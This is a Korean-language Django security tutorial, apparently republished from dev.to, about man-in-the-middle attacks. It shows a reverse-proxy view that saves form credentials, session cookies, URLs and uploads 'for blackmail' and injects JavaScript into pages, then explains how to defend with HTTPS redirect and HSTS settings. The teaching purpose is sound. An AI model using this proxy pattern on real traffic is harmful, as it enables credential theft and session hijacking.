Django 웹사이트 해킹: 중간자 공격
Django 보안 도전에 대한 준비가 되셨습니까? 재생 우리 Django security challenge .
구체적으로 이를 달성하는 한 가지 방법은 reverse proxy 을 생성하는 것입니다. 다음은 응답에 자바스크립트를 추가하는 MITM의 예입니다.
import revproxy.views
from bs4 import BeautifulSoup
from django.http import HttpResponse
# after 2 seconds change some content
javascript = BeautifulSoup(
"""<script>
setTimeout(function() {
document.querySelectorAll("h1")[0].innerText = "HACKED!"
},
2000
)
</script>""",
'html.parser')
class ProxyView(revproxy.views.ProxyView):
def dispatch(self, request, *args, **kwargs):
# user may be logging in, so save the form data so to maybe steal their username and password
save_form_data(request.GET or request.POST)
# cookies may contain session cookie, so save it to later maybe do session hijacking
save_cookies(request.COOKIES)
# user may be doing something embarrassing, so save the url to maybe blackmail them
save_url(request.get_full_path())
# user may be uploading some embarrassing pictures of documents. more blackmail
save_files(request.FILES)
response = super().dispatch(request=request, path=request.get_full_path(), *args, **kwargs)
if 'text/html' in response.get('content-type'):
# now inject nefarious JavaScript
soup = BeautifulSoup(response.content, 'html.parser')
soup.head.append(javascript)
response = HttpResponse(str(soup))
return response
결과는 다음과 같습니다.
보호
MITM이 읽고 변경할 수 있는 콘텐츠가 더 이상 일반 텍스트가 아니므로 HTTPS에서만 독점적으로 제공하면 이를 방지할 수 있습니다. Django는
SECURE_SSL_REDIRECT
을 통해 이를 지원하므로 Django는 모든 HTTP 요청을 HTTPS로 리디렉션합니다. 그러나 이것은 불완전한 솔루션입니다.HTTP Strict Transport Security protection에 해결책이 있습니다. 브라우저가 웹 사이트에 대한 HTTP 요청을 차단하고 대신 HTTPS를 사용합니다.
Django는
SECURE_HSTS_SECONDS
설정을 통해 이를 용이하게 합니다. 값을 처음 설정할 때 예상대로 작동하는지 확인하기 위해 3600(1시간)과 같은 작은 값을 사용하는 것이 좋습니다. 브라우저가 HSTS 헤더를 보고 나면 지정된 시간이 될 때까지(즉, 웹사이트에서 HTTPS를 잘못 구성한 경우) 이를 준수하기 때문입니다. 인증서를 수정하는 동안 HTTP로 롤백할 수 없습니다.또한 브라우저가 현재 하위 도메인뿐만 아니라 모든 하위 도메인에 대해 HTST를 사용하도록
SECURE_HSTS_INCLUDE_SUBDOMAINS
를 설정하는 것이 좋습니다. http://example.com은 지키되 http://www.example.com은 지키지 않는 것은 부끄러운 일입니다.따라서 구체적으로 다음 변경 사항은 Man In The Middle 공격으로부터 Django 웹 사이트를 보호하는 데 도움이 됩니다.
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
...
]
SECURE_HSTS_SECONDS = 3600
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_
설정이 django.middleware.security.SecurityMiddleware
에 있어야 합니다MIDDLEWARE
. 그렇지 않으면 아무 작업도 수행하지 않습니다.웹사이트에 보안 취약점이 있습니까?
시간이 지남에 따라 보안 취약성과 기술 부채가 코드베이스에 쉽게 침투할 수 있습니다. django.doctor에서 확인하거나 review your GitHub PRs에서 확인할 수 있습니다.
또는 시도해 보십시오Django refactor challenges .
Reference
이 문제에 관하여(Django 웹사이트 해킹: 중간자 공격), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/codereviewdoctor/hacking-django-websites-man-in-the-middle-attack-3l4텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)